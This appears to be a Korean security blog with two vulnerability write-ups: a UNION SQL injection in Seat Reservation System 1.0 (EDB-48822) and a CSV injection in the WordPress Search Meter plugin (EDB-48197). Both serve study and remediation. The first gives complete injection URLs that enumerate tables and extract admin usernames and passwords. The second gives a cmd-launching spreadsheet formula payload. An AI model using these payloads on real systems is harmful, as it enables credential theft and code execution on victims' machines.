1. 개요

CVE 코드

EDB – ID - 48822

분류

SQL Union Injection

대상 어플리케이션

Seat Reservation System 1.0 버전에서 발생

취약 코드

/seat_reservation/reserve.php

영화 좌석 예약을 하는 웹페이지 서비스이다.

예약을 하는 페이지에서 id값을 받을 입력 값을 검증하지 않아 발생하였다.

(그림1) 메인 페이지 화면

 

(그림 2) Union Sql Injection이 발생한 페이지

Union Sql Injection

UNIION 명령어는 조회한 sql 결과를 합치고 싶을 사용하는 명령어이다.

도시와 나라를 조회하는 쿼리문이 있다.

(그림 3) https://www.w3schools.com/sql/ 이용하였다.

 

 

UNION 사용하면 내가 원하는 sql결과와 합칠 있다.

UNION 이용해 1,2 합쳐서 조회하였다.

(그림 4) 1,2가 같이 조회되었다.

 

UNION Sql Injection 입력 값을 검증하는 않는 코드에 UNION 주입하여 공격자 원하는 정보를 출력한다.

 

1. 상세분석

1.1. 발생 원리

$id 값을 넣을 아무런 검증을 거치지 않고 SQL Query 입력 값을 받는다.

(그림5) id값을 그대로 넣어준다.

 

UNION명령어로 인해 공격자가 원하는 정보로 뒤바뀌어 출력된다.

(그림6) Union sql Injection으로 대체되는 부분

 

2.2 취약점 확인

존재하지 않는 id값을 넣어 전송해 보았다.

입력URL : URL/seat_reservation/index.php?page=reserve&id=12124

Sql에서 존재하지 값이 존재하지 않아 빈페이지를 불러온다.

 

UNION SQL Injection 구문을 넣었다.

입력 URL : URL/seat_reservation/index.php?page=reserve&id=’’ union select 1; --

컬럼 개수가 맞지 않아 오류가 발생했다.

 

 

여러 시도 결과 컬럼 개수가 8개인 것을 확인할 있었다.

입력 URL : URL/seat_reservation/index.php?page=reserve&id=’’ union select 1,2,3,4,5,6,7,8;--

 

메타데이터를 가져오는 sql 명령문을 이용해 테이블 명을 가져왔다.

입력 URL : URL/seat_reservation/index.php?page=reserve&id=''union select 1,group_concat(table_name),3,4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database(); --

 

계정 정보는 users 들어 있음을 이름을 통해 추측할 있다. users 컬럼을 추출하였다.

입력 URL : URL/seat_reservation/index.php?page=reserve&id=''union select 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_name='users';

 

관리자의 아이디와 패스워드를 추출하였다.

입력 URL : URL/seat_reservation/index.php?page=reserve&id=''union select 1,group_concat(username),3,group_concat(password),5,6,7,8 from users;--  

 

3.대응 방안

소스코드에SQL 필터링을 적용한다.

적용

적용

 Union Sql Injection 발생하지 않는다.

4. 참고자료

-  Seat Reservation System 1.0

https://www.sourcecodester.com/sites/default/files/download/oretnom23/seat-reservation-system-using-php_0.zip

-  Exploit-DB

https://www.exploit-db.com/exploits/48822

-  w3cshools

https://www.w3schools.com/sql/

 

EDB-ID-48822 분석 보고서.pdf
0.54MB

'취약점 분석 > EDB' 카테고리의 다른 글

[EDB] EDB-ID-48197 취약점 분석 - CVS Injection  (0) 2020.09.20
취약점 개요

WordPress 플러그인 Wordpress Plugin Search Meter 2.13.2이하 버전에서 발견된 취약점이다. 워드프레스 검색정보를 통계해주는 플러그인이다. 엑셀로 내보내는 기능에서 입력 값을 검증하지 않아 CSV Injection 공격이 가능하다. 엑셀 함수를 이용하여 악성 파일을 실행시키거나 악성 사이트에 접속시킬 수 있다.

 

상세 분석

1)발생원리

 

 해당 취약점은 CSV파일을 생성할 때 Injection을 발생 시킬 수 있는 =,@,+,- 문자들을 검증하지 않아 발생한다.

 

$results_arrty[] 에 값을 넣을 때 아무런 검증을 하지 않는다.

2) 취약점 확인

 

 워드프레스 검색창에 원하고자 하는 명령어를 입력한다.

  =cmd|' /C notepad'!'A1'

 

원격데이터가 자동으로 실행되고 경고창이 뜬다 
CMD 을 통하여 notepad가 실행

 

 

대응방안

 csv파일을 내보낼 때 취약한 문자에 대해 검증이 이루어지지 않아서 발생하는 취약점이다. =,@,+,- 문자들을 검증하는 함수를 만든다.

 

 

함수 적용

 

 용결과 :

공백이 추가되어 실행되지 않는다.

 

 

참고자료 

* search meter 플러그인

https://wordpress.org/plugins/search-meter/

* CSV-Injection

https://www.we45.com/blog/2017/02/14/csv-injection-theres-devil-in-the-detail/

* Exploit-DB

https://www.exploit-db.com/exploits/48197 

* Wordpress Plugin 취약점 분석

https://jinddeok.tistory.com/25

 

EDB-ID-48197 분석 보고서.pdf
0.22MB

'취약점 분석 > EDB' 카테고리의 다른 글

[EDB] EDB-ID-48822 취약점 분석 - Union Sql Injection  (0) 2020.10.04

+ Recent posts